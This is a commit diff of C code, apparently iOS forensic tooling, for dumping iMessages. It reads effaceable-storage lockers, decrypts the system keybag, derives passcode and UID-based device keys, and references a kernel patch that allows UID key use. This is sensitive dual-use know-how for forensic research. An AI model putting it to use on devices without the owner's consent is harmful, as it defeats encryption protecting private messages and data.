initial code for dumping imessages in a reasonable format
This commit is contained in:
@@ -0,0 +1,66 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include "AppleEffaceableStorage.h"
|
||||
#include "IOKit.h"
|
||||
|
||||
int AppleEffaceableStorage__getLocker(uint32_t lockerId, uint8_t* buffer, size_t len) {
|
||||
uint64_t outScalar = 0;
|
||||
uint32_t one = 1;
|
||||
uint64_t inScalar = lockerId;
|
||||
|
||||
return IOKit_call("AppleEffaceableStorage",
|
||||
kAppleEffaceableStorageGetLocker,
|
||||
&inScalar,
|
||||
1,
|
||||
NULL,
|
||||
0,
|
||||
&outScalar,
|
||||
&one,
|
||||
buffer,
|
||||
&len);
|
||||
}
|
||||
|
||||
int AppleEffaceableStorage__getBytes(uint8_t* buffer, size_t len)
|
||||
{
|
||||
const uint64_t offset = 0;
|
||||
|
||||
return IOKit_call("AppleEffaceableStorage",
|
||||
kAppleEffaceableStorageGetBytes,
|
||||
&offset,
|
||||
1,
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
NULL,
|
||||
buffer,
|
||||
&len);
|
||||
}
|
||||
|
||||
|
||||
int AppleEffaceableStorage__getLockerFromBytes(uint32_t tag, uint8_t* lockers, size_t lockers_len, uint8_t* buffer, size_t len)
|
||||
{
|
||||
struct EffaceableLocker* p = (struct EffaceableLocker*) lockers;
|
||||
unsigned int i=0;
|
||||
|
||||
while (i < lockers_len)
|
||||
{
|
||||
//printf("p->magic=%x\n", p->magic);
|
||||
if (p->magic != 'Lk') //0x4c6B
|
||||
break;
|
||||
if (p->len == 0 || ((i+8+p->len) > lockers_len))
|
||||
break;
|
||||
//printf("p->tag=%x\n", p->tag);
|
||||
if ((p->tag & ~0x80000000) == tag)
|
||||
{
|
||||
len = len < p->len ? len : p->len;
|
||||
memcpy(buffer, p->data, len);
|
||||
return 0;
|
||||
}
|
||||
i = i + 8 + p->len;
|
||||
p = (struct EffaceableLocker*) (&lockers[i]);
|
||||
}
|
||||
return -1;
|
||||
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
/*
|
||||
AppleEffaceableStorage
|
||||
0 : getCapacity
|
||||
1 : getBytes (kernel debug)
|
||||
2 : setBytes (kernel debug)
|
||||
3 : isFormatted
|
||||
4 : format
|
||||
5 : getLocker
|
||||
6 : setLocker
|
||||
7 : effaceLocker
|
||||
8 : lockerSpace
|
||||
*/
|
||||
#define kAppleEffaceableStorageGetBytes 1
|
||||
#define kAppleEffaceableStorageGetLocker 5
|
||||
|
||||
|
||||
#define LOCKER_DKEY 0x446B6579
|
||||
#define LOCKER_EMF 0x454D4621
|
||||
#define LOCKER_BAG1 0x42414731
|
||||
#define LOCKER_LWVM 0x4C77564d
|
||||
|
||||
struct EffaceableLocker
|
||||
{
|
||||
unsigned short magic; //0x4c6B = "kL"
|
||||
unsigned short len;
|
||||
unsigned int tag; //BAG1, EMF, Dkey, DONE
|
||||
unsigned char data[1];
|
||||
};
|
||||
|
||||
struct BAG1Locker
|
||||
{
|
||||
unsigned int magic;//'BAG1';
|
||||
unsigned char iv[16];
|
||||
unsigned char key[32];
|
||||
};
|
||||
|
||||
int AppleEffaceableStorage__getLocker(uint32_t lockerId, uint8_t* buffer, size_t len);
|
||||
int AppleEffaceableStorage__getBytes(uint8_t* buffer, size_t len);
|
||||
int AppleEffaceableStorage__getLockerFromBytes(uint32_t tag, uint8_t* lockers, size_t lockers_len, uint8_t* buffer, size_t len);
|
||||
|
||||
@@ -0,0 +1,317 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <CommonCrypto/CommonCryptor.h>
|
||||
#include <CommonCrypto/CommonHMAC.h>
|
||||
#include "IOKit.h"
|
||||
#include "IOAESAccelerator.h"
|
||||
#include "AppleEffaceableStorage.h"
|
||||
#include "AppleKeyStore.h"
|
||||
#include "util.h"
|
||||
#include "bsdcrypto/rijndael.h"
|
||||
#include "bsdcrypto/key_wrap.h"
|
||||
|
||||
CFDictionaryRef AppleKeyStore_loadKeyBag(const char* folder, const char* filename)
|
||||
{
|
||||
char keybagPath[100];
|
||||
struct BAG1Locker bag1_locker={0};
|
||||
//unsigned char buffer_bag1[52] = {0};
|
||||
|
||||
snprintf(keybagPath, 99, "%s/%s.kb", folder, filename);
|
||||
|
||||
CFURLRef url = CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault,
|
||||
(const UInt8*)keybagPath,
|
||||
strlen(keybagPath),
|
||||
0);
|
||||
|
||||
if (url == NULL)
|
||||
return NULL;
|
||||
|
||||
CFReadStreamRef stream = CFReadStreamCreateWithFile (kCFAllocatorDefault, url);
|
||||
|
||||
if (stream == NULL)
|
||||
return NULL;
|
||||
|
||||
if (CFReadStreamOpen(stream) != TRUE)
|
||||
return NULL;
|
||||
|
||||
CFPropertyListRef plist = CFPropertyListCreateWithStream (kCFAllocatorDefault,
|
||||
stream,
|
||||
0,
|
||||
kCFPropertyListImmutable,
|
||||
NULL,
|
||||
NULL
|
||||
);
|
||||
if (plist == NULL)
|
||||
return NULL;
|
||||
|
||||
CFDataRef data = CFDictionaryGetValue(plist, CFSTR("_MKBPAYLOAD"));
|
||||
|
||||
if (data == NULL)
|
||||
return NULL;
|
||||
|
||||
uint8_t* mkbpayload = valloc(CFDataGetLength(data));
|
||||
CFDataGetBytes(data, CFRangeMake(0,CFDataGetLength(data)), mkbpayload);
|
||||
int length = CFDataGetLength(data);
|
||||
|
||||
if (length < 16)
|
||||
{
|
||||
free(mkbpayload);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (AppleEffaceableStorage__getLocker(LOCKER_BAG1, (uint8_t*) &bag1_locker, sizeof(struct BAG1Locker)))
|
||||
{
|
||||
free(mkbpayload);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (bag1_locker.magic != 'BAG1')
|
||||
fprintf(stderr, "AppleKeyStore_loadKeyBag: bad BAG1 magic\n");
|
||||
|
||||
size_t decryptedSize = 0;
|
||||
|
||||
CCCryptorStatus cryptStatus = CCCrypt(kCCDecrypt,
|
||||
kCCAlgorithmAES128,
|
||||
kCCOptionPKCS7Padding,
|
||||
bag1_locker.key,
|
||||
kCCKeySizeAES256,
|
||||
bag1_locker.iv,
|
||||
mkbpayload,
|
||||
length,
|
||||
mkbpayload,
|
||||
length,
|
||||
&decryptedSize);
|
||||
|
||||
if (cryptStatus != kCCSuccess)
|
||||
{
|
||||
fprintf(stderr, "AppleKeyStore_loadKeyBag CCCrypt kCCDecrypt with BAG1 key failed, return code=%x\n", cryptStatus);
|
||||
free(mkbpayload);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
CFDataRef data2 = CFDataCreate(kCFAllocatorDefault,
|
||||
mkbpayload,
|
||||
decryptedSize
|
||||
);
|
||||
|
||||
if (data2 == NULL)
|
||||
{
|
||||
free(mkbpayload);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
CFErrorRef e=NULL;
|
||||
CFPropertyListRef plist2 = CFPropertyListCreateWithData(kCFAllocatorDefault, data2, kCFPropertyListImmutable, NULL, &e);
|
||||
if (plist2 == NULL)
|
||||
{
|
||||
fprintf(stderr, "AppleKeyStore_loadKeyBag failed to create plist, AES fail ? decryptedSize=%zx\n", decryptedSize);
|
||||
|
||||
CFShow(e);
|
||||
}
|
||||
free(mkbpayload);
|
||||
CFRelease(data2);
|
||||
return plist2;
|
||||
}
|
||||
|
||||
int AppleKeyStoreKeyBagInit()
|
||||
{
|
||||
uint64_t out = 0;
|
||||
uint32_t one = 1;
|
||||
return IOKit_call("AppleKeyStore",
|
||||
kAppleKeyStoreInitUserClient,
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
0,
|
||||
&out,
|
||||
&one,
|
||||
NULL,
|
||||
NULL);
|
||||
}
|
||||
|
||||
int AppleKeyStoreKeyBagCreateWithData(CFDataRef data, uint64_t* keybagId)
|
||||
{
|
||||
uint32_t outCnt = 1;
|
||||
aes_key_wrap_ctx ctx;
|
||||
uint8_t hmckkey[32] = {0};
|
||||
|
||||
int retcode = IOKit_call("AppleKeyStore",
|
||||
kAppleKeyStoreKeyBagCreateWithData,
|
||||
NULL,
|
||||
0,
|
||||
CFDataGetBytePtr(data),
|
||||
CFDataGetLength(data),
|
||||
keybagId,
|
||||
&outCnt,
|
||||
NULL,
|
||||
NULL
|
||||
);
|
||||
if (retcode != 0xE00002C9)
|
||||
return retcode;
|
||||
//HAX to load new iOS 7 keybags on previous iOS kernels
|
||||
uint32_t* kbdata = (uint32_t*) CFDataGetBytePtr(data);
|
||||
if ((kbdata[2] == 'SREV') && (kbdata[4] == 0x04000000))
|
||||
{
|
||||
printf("Patching iOS 7 keybag VERS 4 signature for older kernels\n");
|
||||
|
||||
aes_key_wrap_set_key(&ctx, IOAES_key835(), 16);
|
||||
assert(kbdata[0x38/4] == 'KCMH');
|
||||
assert(!aes_key_unwrap(&ctx, (const uint8_t*) &kbdata[0x38/4 + 2], hmckkey, 4));
|
||||
|
||||
assert(kbdata[CFSwapInt32BigToHost(kbdata[1])/4 + 2] == 'NGIS');
|
||||
|
||||
CCHmac(kCCHmacAlgSHA1,
|
||||
(const void *) &kbdata[2],
|
||||
CFSwapInt32BigToHost(kbdata[1]),
|
||||
hmckkey,
|
||||
32,
|
||||
&kbdata[CFSwapInt32BigToHost(kbdata[1])/4 + 2 + 2]);
|
||||
}
|
||||
outCnt = 1;
|
||||
return IOKit_call("AppleKeyStore",
|
||||
kAppleKeyStoreKeyBagCreateWithData,
|
||||
NULL,
|
||||
0,
|
||||
CFDataGetBytePtr(data),
|
||||
CFDataGetLength(data),
|
||||
keybagId,
|
||||
&outCnt,
|
||||
NULL,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
int AppleKeyStoreKeyBagSetSystem(uint64_t keybagId)
|
||||
{
|
||||
return IOKit_call("AppleKeyStore",
|
||||
kAppleKeyStoreKeyBagSetSystem,
|
||||
&keybagId,
|
||||
1,
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
}
|
||||
|
||||
int AppleKeyStoreUnlockDevice(io_connect_t conn, CFDataRef passcode)
|
||||
{
|
||||
return IOConnectCallMethod(conn,
|
||||
kAppleKeyStoreUnlockDevice,
|
||||
NULL,
|
||||
0,
|
||||
CFDataGetBytePtr(passcode),
|
||||
CFDataGetLength(passcode),
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
}
|
||||
|
||||
KeyBag* AppleKeyStore_parseBinaryKeyBag(CFDataRef kb)
|
||||
{
|
||||
const uint8_t* ptr = CFDataGetBytePtr(kb);
|
||||
unsigned int len = CFDataGetLength(kb);
|
||||
struct KeyBagBlobItem* p = (struct KeyBagBlobItem*) ptr;
|
||||
const uint8_t* end;
|
||||
|
||||
if (p->tag != 'ATAD') {
|
||||
printf("Keybag does not start with DATA\n");
|
||||
return NULL;
|
||||
}
|
||||
if (8 + CFSwapInt32BigToHost(p->len) > len) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
KeyBag* keybag = malloc(sizeof(KeyBag));
|
||||
if (keybag == NULL)
|
||||
return NULL;
|
||||
|
||||
memset(keybag, 0, sizeof(KeyBag));
|
||||
|
||||
end = ptr + 8 + CFSwapInt32BigToHost(p->len);
|
||||
p = (struct KeyBagBlobItem*) p->data.bytes;
|
||||
int kbuuid=0;
|
||||
int i = -1;
|
||||
|
||||
while ((uint8_t*)p < end) {
|
||||
//printf("%x\n", p->tag);
|
||||
len = CFSwapInt32BigToHost(p->len);
|
||||
|
||||
if (p->tag == 'SREV') {
|
||||
keybag->version = CFSwapInt32BigToHost(p->data.intvalue);
|
||||
}
|
||||
else if (p->tag == 'TLAS') {
|
||||
memcpy(keybag->salt, p->data.bytes, 20);
|
||||
}
|
||||
else if (p->tag == 'RETI') {
|
||||
keybag->iter = CFSwapInt32BigToHost(p->data.intvalue);
|
||||
}
|
||||
else if (p->tag == 'DIUU') {
|
||||
if (!kbuuid)
|
||||
{
|
||||
memcpy(keybag->uuid, p->data.bytes, 16);
|
||||
kbuuid = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
i++;
|
||||
if (i >= MAX_CLASS_KEYS)
|
||||
break;
|
||||
memcpy(keybag->keys[i].uuid, p->data.bytes, 16);
|
||||
}
|
||||
}
|
||||
else if (p->tag == 'SALC')
|
||||
{
|
||||
keybag->keys[i].clas = CFSwapInt32BigToHost(p->data.intvalue);
|
||||
}
|
||||
else if (p->tag == 'PARW' && kbuuid)
|
||||
{
|
||||
keybag->keys[i].wrap = CFSwapInt32BigToHost(p->data.intvalue);
|
||||
}
|
||||
else if (p->tag == 'YKPW')
|
||||
{
|
||||
memcpy(keybag->keys[i].wpky, p->data.bytes, (len > 40) ? 40 : len);
|
||||
}
|
||||
p = (struct KeyBagBlobItem*) &p->data.bytes[len];
|
||||
}
|
||||
keybag->numKeys = i + 1;
|
||||
|
||||
return keybag;
|
||||
}
|
||||
|
||||
void AppleKeyStore_printKeyBag(KeyBag* kb)
|
||||
{
|
||||
int i;
|
||||
printf("Keybag version : %d\n", kb->version);
|
||||
printf("Keybag keys : %d\n", kb->numKeys);
|
||||
printf("Class\tWrap\tKey\n");
|
||||
for (i=0; i < kb->numKeys; i++)
|
||||
{
|
||||
printf("%d\t%d\t", kb->keys[i].clas, kb->keys[i].wrap);
|
||||
printBytesToHex(kb->keys[i].wpky, kb->keys[i].wrap & 2 ? 40 : 32);
|
||||
printf("\n");
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
CFMutableDictionaryRef AppleKeyStore_getClassKeys(KeyBag* kb)
|
||||
{
|
||||
int i;
|
||||
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(kCFAllocatorDefault, kb->numKeys, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
CFStringRef key;
|
||||
|
||||
for (i=0; i < kb->numKeys; i++)
|
||||
{
|
||||
if(kb->keys[i].wrap == 0)
|
||||
{
|
||||
key = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%d"), kb->keys[i].clas);
|
||||
addHexaString(dict, key, kb->keys[i].wpky, 32);
|
||||
CFRelease(key);
|
||||
}
|
||||
}
|
||||
return dict;
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
/*
|
||||
AppleKeyStore
|
||||
0 : initUserClient scalarOutSize=1
|
||||
1 :
|
||||
2 : AppleKeyStoreKeyBagCreate
|
||||
3 : AppleKeyStoreKeyBagCopyData inscalars=id structOutSize=0x8000
|
||||
4 : keybagrelease inscalars":[0]}
|
||||
5 : AppleKeyStoreKeyBagSetSystem
|
||||
6 : AppleKeyStoreKeyBagCreateWithData
|
||||
7 : getlockstate "inscalars":[0], "scalarOutSize":1}
|
||||
8 : AppleKeyStoreLockDevice
|
||||
9 : AppleKeyStoreUnlockDevice instruct
|
||||
10: AppleKeyStoreKeyWrap
|
||||
11: AppleKeyStoreKeyUnwrap
|
||||
12: AppleKeyStoreKeyBagUnlock
|
||||
13: AppleKeyStoreKeyBagLock
|
||||
14: AppleKeyStoreKeyBagGetSystem scalarOutSize=1
|
||||
15: AppleKeyStoreKeyBagChangeSecret
|
||||
17: AppleKeyStoreGetDeviceLockState scalarOutSize=1
|
||||
18: AppleKeyStoreRecoverWithEscrowBag
|
||||
19: AppleKeyStoreOblitClassD
|
||||
*/
|
||||
#define kAppleKeyStoreInitUserClient 0
|
||||
#define kAppleKeyStoreKeyBagSetSystem 5
|
||||
#define kAppleKeyStoreKeyBagCreateWithData 6
|
||||
#define kAppleKeyStoreUnlockDevice 9
|
||||
|
||||
#define MAX_CLASS_KEYS 20
|
||||
|
||||
struct KeyBagBlobItem
|
||||
{
|
||||
unsigned int tag;
|
||||
unsigned int len;
|
||||
union
|
||||
{
|
||||
unsigned int intvalue;
|
||||
unsigned char bytes[1];
|
||||
} data;
|
||||
};
|
||||
|
||||
typedef struct ClassKey
|
||||
{
|
||||
unsigned char uuid[16];
|
||||
unsigned int clas;
|
||||
unsigned int wrap;
|
||||
unsigned char wpky[40];
|
||||
} ClassKey;
|
||||
|
||||
typedef struct KeyBag
|
||||
{
|
||||
unsigned int version;
|
||||
unsigned int type;
|
||||
unsigned char uuid[16];
|
||||
unsigned char hmck[40];
|
||||
unsigned char salt[20];
|
||||
unsigned int iter;
|
||||
|
||||
unsigned int numKeys;
|
||||
|
||||
struct ClassKey keys[MAX_CLASS_KEYS];
|
||||
} KeyBag;
|
||||
|
||||
|
||||
int AppleKeyStoreKeyBagInit();
|
||||
CFDictionaryRef AppleKeyStore_loadKeyBag(const char* folder, const char* filename);
|
||||
int AppleKeyStoreKeyBagCreateWithData(CFDataRef data, uint64_t* keybagId);
|
||||
int AppleKeyStoreKeyBagSetSystem(uint64_t keybagId);
|
||||
int AppleKeyStoreUnlockDevice(io_connect_t conn, CFDataRef passcode);
|
||||
|
||||
KeyBag* AppleKeyStore_parseBinaryKeyBag(CFDataRef kb);
|
||||
void AppleKeyStore_printKeyBag(KeyBag* kb);
|
||||
|
||||
int AppleKeyStore_getPasscodeKey(KeyBag* keybag,
|
||||
const char* passcode,
|
||||
size_t passcodeLen,
|
||||
uint8_t* passcodeKey);
|
||||
|
||||
int AppleKeyStore_unlockKeybagFromUserland(KeyBag* kb,
|
||||
const char* passcode,
|
||||
size_t passcodeLen,
|
||||
uint8_t* key835);
|
||||
@@ -0,0 +1,145 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include "IOKit.h"
|
||||
#include "IOAESAccelerator.h"
|
||||
#include "AppleEffaceableStorage.h"
|
||||
#include "AppleKeyStore.h"
|
||||
#include "bsdcrypto/pbkdf2.h"
|
||||
#include "bsdcrypto/rijndael.h"
|
||||
#include "bsdcrypto/key_wrap.h"
|
||||
|
||||
int AppleKeyStore_derivation(void* data, uint32_t dataLength, uint32_t iter, uint32_t vers);
|
||||
uint32_t AppleKeyStore_xorExpand(uint32_t* dst, uint32_t dstLen, uint32_t* input, uint32_t inLen, uint32_t xorKey);
|
||||
void AppleKeyStore_xorCompress(uint32_t* input, uint32_t inputLen, uint32_t* output, uint32_t outputLen);
|
||||
|
||||
#define DERIVATION_BUFFER_SIZE 4096
|
||||
uint8_t buf1[DERIVATION_BUFFER_SIZE];
|
||||
uint8_t buf2[DERIVATION_BUFFER_SIZE];
|
||||
|
||||
IOByteCount IOAESStructSize1 = sizeof(IOAESStruct);
|
||||
IOAESStruct in ={buf1,buf2,DERIVATION_BUFFER_SIZE,{0},0,128,{0},kIOAESAcceleratorUIDMask,0};
|
||||
IOAESStruct out = {0};
|
||||
|
||||
int AppleKeyStore_getPasscodeKey(KeyBag* keybag,
|
||||
const char* passcode,
|
||||
size_t passcodeLen,
|
||||
uint8_t* passcodeKey)
|
||||
{
|
||||
//One PBKDF2 iter, hardcoded salt length
|
||||
pkcs5_pbkdf2(passcode, passcodeLen, keybag->salt, 20, passcodeKey, 32, 1);
|
||||
|
||||
return AppleKeyStore_derivation(passcodeKey, 32, keybag->iter, keybag->version);
|
||||
}
|
||||
|
||||
int AppleKeyStore_derivation(void* data, uint32_t dataLength, uint32_t iter, uint32_t vers)
|
||||
{
|
||||
IOReturn ret;
|
||||
io_connect_t conn = IOAESAccelerator_getIOconnect();
|
||||
memset(in.iv, 0, 16);
|
||||
|
||||
uint32_t r4;
|
||||
uint32_t nBlocks = DERIVATION_BUFFER_SIZE / dataLength; //4096/32=128
|
||||
uint32_t xorkey = 1;
|
||||
|
||||
uint32_t* buffer2 = data;
|
||||
if (vers >= 2)
|
||||
{
|
||||
buffer2 = malloc(dataLength);
|
||||
memcpy(buffer2, data, dataLength);
|
||||
}
|
||||
while (iter > 0)
|
||||
{
|
||||
//version=1 xorKey alawys=1, buffer2 changes at each iter
|
||||
//version=2 xorKey changes at each iter, buffer2 is always the input (pbkdf2(passcode))
|
||||
r4 = AppleKeyStore_xorExpand((uint32_t*)buf1, DERIVATION_BUFFER_SIZE, buffer2, dataLength, xorkey);
|
||||
if (vers >= 2)
|
||||
xorkey = r4;
|
||||
|
||||
if((ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize1, &out, &IOAESStructSize1)) != kIOReturnSuccess)
|
||||
{
|
||||
fprintf(stderr, "IOConnectCallStructMethod fail : %x\n", ret);
|
||||
return -1;
|
||||
}
|
||||
memcpy(in.iv, out.iv, 16);
|
||||
|
||||
r4 = nBlocks;
|
||||
if (r4 >= iter)
|
||||
{
|
||||
r4 = iter;
|
||||
}
|
||||
AppleKeyStore_xorCompress((uint32_t*) buf2, r4 * dataLength, data, dataLength);
|
||||
iter -= r4;
|
||||
}
|
||||
if (vers >= 2)
|
||||
{
|
||||
free(buffer2);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
uint32_t paddedLen = (inLen + 3) & (~3);//aligne sur 4 octets
|
||||
if (dstLen % paddedLen)
|
||||
return;
|
||||
uint32_t localBuf[inLen/4];
|
||||
|
||||
memcpy(localBuf, input, inLen);
|
||||
memset(&localBuf[inLen], 0, paddedLen - inLen);*/
|
||||
uint32_t AppleKeyStore_xorExpand(uint32_t* dst, uint32_t dstLen, uint32_t* input, uint32_t inLen, uint32_t xorKey)
|
||||
{
|
||||
uint32_t* dstEnd = &dst[dstLen/4];
|
||||
uint32_t i = 0;
|
||||
|
||||
while (dst < dstEnd)
|
||||
{
|
||||
i = 0;
|
||||
while (i < inLen/4)
|
||||
{
|
||||
*dst = input[i] ^ xorKey;
|
||||
dst++;
|
||||
i++;
|
||||
}
|
||||
xorKey++;
|
||||
}
|
||||
return xorKey;
|
||||
}
|
||||
|
||||
void AppleKeyStore_xorCompress(uint32_t* input, uint32_t inputLen, uint32_t* output, uint32_t outputLen)
|
||||
{
|
||||
uint32_t i;
|
||||
|
||||
for (i=0; i < (inputLen/4); i++)
|
||||
{
|
||||
output[i%(outputLen/4)] ^= input[i];
|
||||
}
|
||||
}
|
||||
|
||||
int AppleKeyStore_unlockKeybagFromUserland(KeyBag* kb, const char* passcode, size_t passcodeLen, uint8_t* key835)
|
||||
{
|
||||
u_int8_t passcodeKey[32]={0};
|
||||
u_int8_t unwrappedKey[40]={0};
|
||||
aes_key_wrap_ctx ctx;
|
||||
int i;
|
||||
|
||||
AppleKeyStore_getPasscodeKey(kb, passcode, passcodeLen, passcodeKey);
|
||||
aes_key_wrap_set_key(&ctx, passcodeKey, 32);
|
||||
|
||||
for (i=0; i < kb->numKeys; i++)
|
||||
{
|
||||
if (kb->keys[i].wrap & 2)
|
||||
{
|
||||
if(aes_key_unwrap(&ctx, kb->keys[i].wpky, unwrappedKey, 4))
|
||||
return 0;
|
||||
memcpy(kb->keys[i].wpky, unwrappedKey, 32);
|
||||
kb->keys[i].wrap &= ~2;
|
||||
}
|
||||
if (kb->keys[i].wrap & 1)
|
||||
{
|
||||
doAES(kb->keys[i].wpky, kb->keys[i].wpky, 32, kIOAESAcceleratorCustomMask, key835, NULL, kIOAESAcceleratorDecrypt, 128);
|
||||
kb->keys[i].wrap &= ~1;
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
/**
|
||||
https://github.com/planetbeing/xpwn/blob/master/crypto/aes.c
|
||||
**/
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <pthread.h>
|
||||
#include "IOAESAccelerator.h"
|
||||
#include "IOKit.h"
|
||||
|
||||
io_connect_t conn = 0;
|
||||
IOByteCount IOAESStructSize = sizeof(IOAESStruct);
|
||||
pthread_once_t once_control = PTHREAD_ONCE_INIT;
|
||||
|
||||
//see com.apple.driver.AppleCDMA
|
||||
typedef struct
|
||||
{
|
||||
uint32_t key_id;
|
||||
uint32_t hw_key_id;
|
||||
uint8_t nonce_to_encrypt_with_hw_key[16];
|
||||
uint8_t* value;
|
||||
} device_key_descriptor;
|
||||
|
||||
#define NUM_DEVICE_KEYS 4
|
||||
device_key_descriptor ios_device_keys[NUM_DEVICE_KEYS]= {
|
||||
{0x835, kIOAESAcceleratorUIDMask, {0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01}, NULL},
|
||||
{0x899, kIOAESAcceleratorUIDMask, {0xD1, 0xE8, 0xFC, 0xB5, 0x39, 0x37, 0xBF, 0x8D, 0xEF, 0xC7, 0x4C, 0xD1, 0xD0, 0xF1, 0xD4, 0xB0}, NULL},
|
||||
{0x89B, kIOAESAcceleratorUIDMask, {0x18, 0x3E, 0x99, 0x67, 0x6B, 0xB0, 0x3C, 0x54, 0x6F, 0xA4, 0x68, 0xF5, 0x1C, 0x0C, 0xBD, 0x49}, NULL},
|
||||
{0x89A, kIOAESAcceleratorUIDMask, {0xDB, 0x1F, 0x5B, 0x33, 0x60, 0x6C, 0x5F, 0x1C, 0x19, 0x34, 0xAA, 0x66, 0x58, 0x9C, 0x06, 0x61}, NULL},
|
||||
};
|
||||
|
||||
void aes_init()
|
||||
{
|
||||
conn = IOKit_getConnect("IOAESAccelerator");
|
||||
}
|
||||
|
||||
io_connect_t IOAESAccelerator_getIOconnect()
|
||||
{
|
||||
pthread_once(&once_control, aes_init);
|
||||
return conn;
|
||||
}
|
||||
|
||||
|
||||
int doAES(void* inbuf, void *outbuf, uint32_t size, uint32_t keyMask, void* key, void* iv, int mode, int bits) {
|
||||
IOReturn ret;
|
||||
IOAESStruct in;
|
||||
|
||||
pthread_once(&once_control, aes_init);
|
||||
|
||||
in.mode = mode;
|
||||
in.bits = bits;
|
||||
in.inbuf = inbuf;
|
||||
in.outbuf = outbuf;
|
||||
in.size = size;
|
||||
in.mask = keyMask;
|
||||
|
||||
memset(in.keybuf, 0, sizeof(in.keybuf));
|
||||
|
||||
if(key)
|
||||
memcpy(in.keybuf, key, in.bits / 8);
|
||||
|
||||
if(iv)
|
||||
memcpy(in.iv, iv, 16);
|
||||
else
|
||||
memset(in.iv, 0, 16);
|
||||
|
||||
ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize);
|
||||
if(ret == kIOReturnBadArgument) {
|
||||
IOAESStructSize = IOAESStruct_sizeold;
|
||||
ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize);
|
||||
}
|
||||
|
||||
if(iv)
|
||||
memcpy(iv, in.iv, 16);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
IOReturn doAES_wrapper(void* thisxxx, int mode, void* iv, void* outbuf, void *inbuf, uint32_t size, uint32_t keyMask)
|
||||
{
|
||||
int x = doAES(inbuf, outbuf, size, keyMask, NULL, iv, mode, 128);
|
||||
return !x;
|
||||
}
|
||||
|
||||
int patch_IOAESAccelerator();
|
||||
|
||||
int AES_UID_Encrypt(void* input2, void* output, size_t len)
|
||||
{
|
||||
IOAESStruct in;
|
||||
IOReturn ret;
|
||||
static int triedToPatchKernelAlready = 0;
|
||||
unsigned char* input = valloc(16);
|
||||
|
||||
memcpy(input, input2, 16);
|
||||
|
||||
pthread_once(&once_control, aes_init);
|
||||
|
||||
in.mode = kIOAESAcceleratorEncrypt;
|
||||
in.mask = kIOAESAcceleratorUIDMask;
|
||||
in.bits = 128;
|
||||
in.inbuf = input;
|
||||
in.outbuf = output;
|
||||
in.size = len;
|
||||
|
||||
memset(in.keybuf, 0, sizeof(in.keybuf));
|
||||
memset(in.iv, 0, 16);
|
||||
|
||||
ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize);
|
||||
if(ret == kIOReturnBadArgument) {
|
||||
IOAESStructSize = IOAESStruct_sizeold;
|
||||
ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize);
|
||||
}
|
||||
|
||||
if(ret == kIOReturnNotPrivileged && !triedToPatchKernelAlready) {
|
||||
triedToPatchKernelAlready = 1;
|
||||
fprintf(stderr, "Trying to patch IOAESAccelerator kernel extension to allow UID key usage\n");
|
||||
patch_IOAESAccelerator();
|
||||
ret = AES_UID_Encrypt(input2, output, len);
|
||||
}
|
||||
if(ret != kIOReturnSuccess) {
|
||||
fprintf(stderr, "IOAESAccelerator returned: %x\n", ret);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
uint8_t* IOAES_get_device_key(uint32_t id)
|
||||
{
|
||||
static uint8_t nullkey[16] = {0};
|
||||
int i;
|
||||
for(i=0; i < NUM_DEVICE_KEYS; i++)
|
||||
{
|
||||
if (ios_device_keys[i].key_id != id)
|
||||
continue;
|
||||
if (ios_device_keys[i].value != NULL)
|
||||
return ios_device_keys[i].value;
|
||||
|
||||
ios_device_keys[i].value = (uint8_t*) valloc(16); //on ARMv6 devices stuff needs to be aligned
|
||||
memcpy(ios_device_keys[i].value, ios_device_keys[i].nonce_to_encrypt_with_hw_key, 16);
|
||||
AES_UID_Encrypt(ios_device_keys[i].value, ios_device_keys[i].value, 16);
|
||||
return ios_device_keys[i].value;
|
||||
}
|
||||
return nullkey;
|
||||
|
||||
}
|
||||
uint8_t* IOAES_key835()
|
||||
{
|
||||
return IOAES_get_device_key(0x835);
|
||||
}
|
